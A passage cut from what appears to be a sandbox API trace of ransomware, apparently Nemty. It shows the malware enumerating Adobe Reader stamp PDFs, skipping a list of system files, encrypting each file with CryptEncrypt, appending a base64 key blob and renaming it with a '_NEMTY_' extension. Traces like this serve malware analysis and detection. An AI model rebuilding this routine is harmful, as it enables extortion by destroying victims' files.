lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.292] Sleep (dwMilliseconds=0x5) [0189.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247b1250, dwHighDateTime=0x1d561e8)) [0189.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247b1250, dwHighDateTime=0x1d561e8)) [0189.304] GetLastError () returned 0xb7 [0189.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.304] GetLastError () returned 0xb7 [0189.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.304] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.304] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="nRSXYAWNNAHkNHfXYkT7yC89b2V2uK5gl55yTgvjyQDDRddiDmqf+wM6R6HOOURT\r\ny749uJeKaSiN3xvNrVOPssAs3G1Wqfrrl+vHcfpBBK3xeUAtgv+dNxv8Y2ns9q3b\r\nEKupg6SVaq7iWH5m6RWWjfVLoMar39XfdMV3n8czEUsVXrsuNOX88DThXPlLAwdB\r\nI1Y7QT/uI9HXLYSLucUKxya0Crs95FSreVS/723H+MZm2sDeK35pn5d2JYYTF6ko\r\nNbDsaxOhQMLHn0n4nCi2VvHJn1DOQm4IN0N21NEAEVeylLSvpHiwpRuvn12uMuKx\r\nLBpA2k2UpgC4lQUMnvh3gQ==\r\n", pcchString=0x653df5c) returned 1 [0189.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.305] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=50344) returned 1 [0189.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc4a0) returned 0x6352c48 [0189.305] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.305] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc4a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xc4a0, lpOverlapped=0x0) returned 1 [0189.310] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.310] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc4a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xc4a0, lpOverlapped=0x0) returned 1 [0189.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.310] SetFilePointer (in: hFile=0x320, lDistanceToMove=50344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4a8 [0189.310] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.311] CloseHandle (hObject=0x320) returned 1 [0189.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.311] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.312] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c53, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.312] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.313] Sleep (dwMilliseconds=0x5) [0189.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247d73b0, dwHighDateTime=0x1d561e8)) [0189.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247d73b0, dwHighDateTime=0x1d561e8)) [0189.319] GetLastError () returned 0x0 [0189.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.320] GetLastError () returned 0x0 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.320] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.320] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.320] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.320] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="23nGy3mVIXPcWJaMqK1yXE1VXxUk277TeCk2H1knhcj8ptWXvNMb8VKKwm5mGqTQ\r\nxf6U29lX4EViNB1CPgGqakv7KFn4JFQxPGDHv3nGwN0d2TjJyieyuhAymwJRPYy2\r\n3xBlMBHJVSos45sM99BWFfZARgp8XhzICWlFMVwrwXO5CjCrDr7r9YJEN+XDlSEI\r\nZOGyK/7A9Xmaj0K7nYR9lPeboDvQSP0rW4PnH7g8UC/xZByB+ZpCUT8XpmHie6VT\r\nhQyg5a6fDu3d65QFxjbAQDyJPITpBaQeka66W7pOl8NXTB2Ef6HThN6aJ+2NHGg1\r\nZJbb/K6pg7Y/sAiCc0ZzHA==\r\n", pcchString=0x653df5c) returned 1 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.321] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=40019) returned 1 [0189.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9c50) returned 0x6352c48 [0189.321] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.321] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9c50, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9c50, lpOverlapped=0x0) returned 1 [0189.325] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.325] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9c50, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9c50, lpOverlapped=0x0) returned 1 [0189.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.326] SetFilePointer (in: hFile=0x320, lDistanceToMove=40019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c53 [0189.326] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.326] CloseHandle (hObject=0x320) returned 1 [0189.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.326] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.327] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.327] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.328] 